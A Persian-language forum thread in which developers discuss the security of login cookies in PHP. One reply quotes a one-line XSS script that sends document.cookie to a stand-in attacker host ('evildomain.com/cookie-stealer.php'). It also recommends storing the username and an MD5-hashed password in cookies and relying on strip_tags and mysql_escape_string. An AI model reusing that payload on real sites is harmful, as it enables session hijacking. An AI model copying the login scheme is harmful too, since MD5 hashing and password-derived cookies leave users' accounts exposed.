نوشته شده توسط
tabib_m
حالا شما هر چی میخوای اسمش رو بذار :)
مهم اینه که کوکی ای که داره از اون استفاده میشه، روی هر سیستمی ریخته بشه (چه دزدیده بشه و ریخته بشه، و چه خودمون بسازیمش) اونوقت در صورتی که از اون کوکی برای لاگین استفاده شده باشه، اون سیستم بدون مرحله ی پرسش نام کاربری لاگین میشه.
که البته به نظر من چندان اهمیتی نداره. فقط کافیه شما هر جوری هست، کوکی ای که داری ذخیره میکنی رو دستگاه طرف رو برای بقیه نا مفهوم کنی. به صورتی که فقط برنامه ی تو ازش سر در بیاره.
مثلا کوکی رو اینجوری ثبت کنی:
COOKIE1: UserID => the User's ID //for example 15697
COOKIE2: PASS => md5(md5(Username)."_".md5(Password))
خوب طبیعتا اگر هر کسی این کوکی رو روی دستگاه خودش بریزه، لاگین خواهد بود. اما هیچ کس نمیتونه بر اساس این کوکی، با هر یوزری دلش خواست وارد بشه. یا این که رمز کاربر مورد نظر رو بفهمه.
طبیعتا هم این کوکی هیچ وقت ثبت نمیشه، مگر به دست خود کاربر و روی دستگاه کاربر.
فوق فوقش اگر نخواستی با کپی شدن کوکی روی دستگاه دیگه ای کار کنه، میتونی از IP هم در ثبت کوکی استفاده کنی. که کوکی ای که ثبت میشه
فقط روی دستگاهی کار کنه که اون کوکی رو ثبت کرده و و و ...
به هر حال، در هر صورت ثبت کردن کوکی امنیت رو پایین
می آره ولی میشه میزان کاهش امنیت رو به صفر نزدیک کرد :)
سلام
طیب جان (محسن اقا تا اونجا که میدونم) من با شما موافقم! بحثی هم توش نیست!!
اسمش رو من نمیزارم دزدی اسمش اون هست!! من دیدم اسکریپتی که بشه باهاش کوکی ها رو دزدید اما کوکی رو ساخت شرمنده!! اگر کسی نمونه یا برنامه ای دیده تا حالا که این کار رو انجام بده من دلم میخواد بشناسمش و ببینم !!! برام جالبه!
اگر غیر از اینه بحث میکنیم ! من خوشحال میشم از اساتیدی که اینجان چیزی یاد بگیرم!
من فکر میکنم مدیریت این دوستمون رو تاپیکش بحث رو به اینجا کشونده وکمی پرت شده! اما
دوستمون گفت اگر از رو دیتابیس پسورد ها و نام کاربری لو بره! که من جواب اون رو دادم!
من موافقم طبیعتا اگر کسی کوکی رو بدزده با استفاده از اسکریپتی مثل:
<script>
window.location.href = "http://evildomain.com/cookie-stealer.php?c=' + document.cookie;
</script
خوب لاگین هست!!
طبیعتا کلمه عبور باید md5 ذخیره شه! اما یه سوال اگر دزدیده بشه این کوکی مهم هست که نام کاربری md5 شده باشه یا نه!!! چون فکر میکنم اکثر سیستم ها بخش کاربری دارن و یا یه welcome به یوزر میگن که نام کاربری تابلو شه!!
اما از نظر محکم کاری و حرفه ای گری بله کار شما بهترین کاره!! حرفی توش نیست!
اگر یه کوکی دزدیده شه طبیعتا با اکانت همون کاربری که کوکی مطعلق به اون بوده لاگین هستیم!! و با هاش نمیشه به عنوان کاربر دیگه ای وارد شد! اینم از واضحات هست!
برای دزدین کوکی ها به هر روشی نیاز به یه اسکریپت کلاینت سرورهست که خوب با استفاده از strip_tags() و htmlentities میشه این نوع حملات رو خنثی و مطمئن شد کوکی ها دزدیده نمیشن!!
(البته منظورم این نیست که طرف بره تو کافی نت بعد logout نکنه)!!!
در کل من هم حرف شما رو میزنم نه چیزه دیگه ای با یه تفاوت من میگم چیزی به اسم جعل کوکی یا ساختن مجازی کوکی وجود نداره!!! شما می گی من اسمش و هر چی میخوام بزارم!!(البته من نه هکرم و نه دوست دارم بشم! ولی یه سری اطلاعات جمع کردم برای خودم که مطمئن شم کد هایی که میزنم تا حد قابل قبولی مورد های مسخره امنیتی نداشته باشن!)
در کل من میگم یه راه هست برای دزدیدن کوکی اونم با دو تابع ای که گفتم قابل پیشگیری هست و قابل اطمینان که کوکی کاربران رو کسی نمیتونه بدزده که حالا بخواد لوگین کنه یا نکنه!!
من این روش رو پیشنهاد میکنم برای لوگین کاربران:
اولا اینجا md5 هایی که میزارم در اصل یه جمله هم قبلا بهشون اضافه شده مثل:
$salt="xjfkfjsdkfbdhdfhdfhdfhdflklkl";
این جمله موقعی که کاربران ثبت نام میکنن به کلمه عبور ورودی اضافه و md5 اینها به عنوان کلمه عبور ذخیره میشه! طبیعیه که موقع لاگین هم این جمله به کلمه عبوری اضافه و md5 اونها با md5 ای که تو دیتابیس ذخیره شده برابر میشه!!!
$_cookie[user]=$username;
$_cookie[password]=md5($password);
تمام متغییر های GET و post رو اول کدمون از تابع strip_tags() میگذرونیم( نه موقع لوگین بلکه اول تمام اسکریپت ها تا از دزدی کوکی ها جلوگیری شه!!!)
$_GET و $_POST هر دوشون آرایه هستن پس یه foreach کافیه!! یکی یکی لازم نیست این کار انجام شه!
موقع لوگین هم این کار رو میکنیم:
$user=mysql_escape_string($_cookie[user]
$pass=mysql_escape_string($_cookie[password]
//البته برای md5 در اصل استفاده از mysql_escape_string لازم نیست فقط برای اطمینان این کار رو کردم توی قسمت پسورد وگرنه نام کاربری رو md5 نکرده بودم.
$query="......
موفق باشید.